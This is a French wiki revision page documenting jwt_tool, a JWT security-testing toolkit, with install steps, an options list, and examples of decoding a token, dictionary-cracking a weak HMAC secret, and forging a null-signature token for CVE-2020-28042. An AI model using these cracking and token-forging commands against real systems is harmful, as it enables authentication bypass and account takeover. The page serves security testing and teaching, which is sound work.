cyber:outils:jwt-tool
Différences
Ci-dessous, les différences entre deux révisions de la page.
| Prochaine révision | Révision précédente | ||
| cyber:outils:jwt-tool [2025/06/20 16:22] – créée admin | cyber:outils:jwt-tool [2025/06/20 17:41] (Version actuelle) – [Exemple 3 - Test d'une CVE connue] admin | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | ====== Jwt tool ====== | ||
| + | ===== Description ===== | ||
| + | |||
| + | **jwt_tool** est une boîte à outils open source conçue pour l' | ||
| + | |||
| + | ===== Installation ===== | ||
| + | |||
| + | |||
| + | L' | ||
| + | |||
| + | <code bash> | ||
| + | git clone https:// | ||
| + | cd jwt_tool | ||
| + | python3 -m pip install -r requirements.txt | ||
| + | </ | ||
| + | |||
| + | ===== Cas d' | ||
| + | |||
| + | * Vérification de l' | ||
| + | * Validation de l' | ||
| + | |||
| + | ===== Fonctionnalités principales ===== | ||
| + | |||
| + | * Manipulation/ | ||
| + | * Requêtes HTTP spécifiques ; | ||
| + | * Cassage de clés secrètes. | ||
| + | |||
| + | ===== Manuel des options principales ===== | ||
| + | |||
| + | < | ||
| + | -t TARGETURL, --targeturl TARGETURL : URL vers laquelle envoyer le JWT. | ||
| + | -rc COOKIES, --cookies COOKIES : cookies à envoyer avec la requête HTTP. | ||
| + | -rh HEADERS, --headers HEADERS : headers HTTP à envoyer avec la requête HTTP. | ||
| + | -pd POSTDATA, --postdata POSTDATA : données POST à envoyer avec la requête HTTP. | ||
| + | -M MODE, --mode MODE Scanning mode : | ||
| + | pb = audit du playbook | ||
| + | er = fuzz les claims connus pour provoquer des erreurs | ||
| + | cc = fuzz les claims communs | ||
| + | at - tous les tests | ||
| + | -X EXPLOIT, --exploit EXPLOIT : | ||
| + | eXploit known vulnerabilities: | ||
| + | a = algorithme à none | ||
| + | n = signature nulle | ||
| + | b = mot de passe vide | ||
| + | s = spoofing du JWKS | ||
| + | k = confusion de clé (spécifier la clé avec -pk) | ||
| + | i = injection d'un JWKS | ||
| + | -C, --crack : casser la clé pour un token HMAC-SHA (specifier -d/ | ||
| + | -d DICT, --dict DICT : chemin vers le dictionnaire pour le cassage de clé. | ||
| + | -p PASSWORD, --password PASSWORD : mot de passe du token. | ||
| + | </ | ||
| + | |||
| + | ===== Exemple d' | ||
| + | |||
| + | ==== Exemple 1 - Lecture de token ==== | ||
| + | |||
| + | La commande suivante permet de lire un token et d'en afficher les informations : | ||
| + | |||
| + | <code bash> | ||
| + | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po | ||
| + | </ | ||
| + | |||
| + | Nous obtenons le résultat suivant : | ||
| + | |||
| + | < | ||
| + | Original JWT: | ||
| + | ===================== | ||
| + | Decoded Token Values: | ||
| + | ===================== | ||
| + | Token header values: | ||
| + | [+] typ = " | ||
| + | [+] alg = " | ||
| + | Token payload values: | ||
| + | [+] login = " | ||
| + | ---------------------- | ||
| + | JWT common timestamps: | ||
| + | iat = IssuedAt | ||
| + | exp = Expires | ||
| + | nbf = NotBefore | ||
| + | ---------------------- | ||
| + | </ | ||
| + | |||
| + | Grâce à cela, nous pouvons déterminer l' | ||
| + | |||
| + | |||
| + | ====== Exemple 2 - Cassage de clé secrète ====== | ||
| + | |||
| + | La commande suivante permet de casser une clé secrète faible grâce à une attaque par dictionnaire : | ||
| + | |||
| + | <code bash> | ||
| + | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -C -d / | ||
| + | </ | ||
| + | |||
| + | Nous obtenons le résultat suivant : | ||
| + | |||
| + | < | ||
| + | Original JWT: | ||
| + | [+] secret is the CORRECT key! | ||
| + | </ | ||
| + | |||
| + | La clé utilisée pour signer le token est donc **CORRECT**, | ||
| + | |||
| + | |||
| + | ====== Exemple 3 - Test d'une CVE connue ====== | ||
| + | |||
| + | Nous pouvons aussi utiliser **jwt\_tool** pour tester des CVEs connues. Dans cet exemple, nous allons utiliser **jwt_tool** sur la **CVE-2020-28042**. Celle-ci permet de forger des tokens dont la signature est nulle mais qui sont quand même valides. | ||
| + | |||
| + | Avec **jwt_tool** nous forgeons un token à signature nulle : | ||
| + | |||
| + | <code bash> | ||
| + | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X n | ||
| + | </ | ||
| + | |||
| + | Nous obtenons le résultat suivant : | ||
| + | |||
| + | < | ||
| + | jwttool_ed591ad5ea32583e84648d60a95626f5 - EXPLOIT: null signature | ||
| + | (This will only be valid on unpatched implementations of JWT.) | ||
| + | [+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ. | ||
| + | </ | ||
| + | |||
| + | Si le système que nous essayons de tester est vulnérable à la **CVE-2020-28042**, | ||
| + | |||
| ====== Retour fiches outils ====== | ====== Retour fiches outils ====== | ||
| * [[cyber: | * [[cyber: | ||
cyber/outils/jwt-tool.1750429326.txt.gz · Dernière modification : 2025/06/20 16:22 de admin
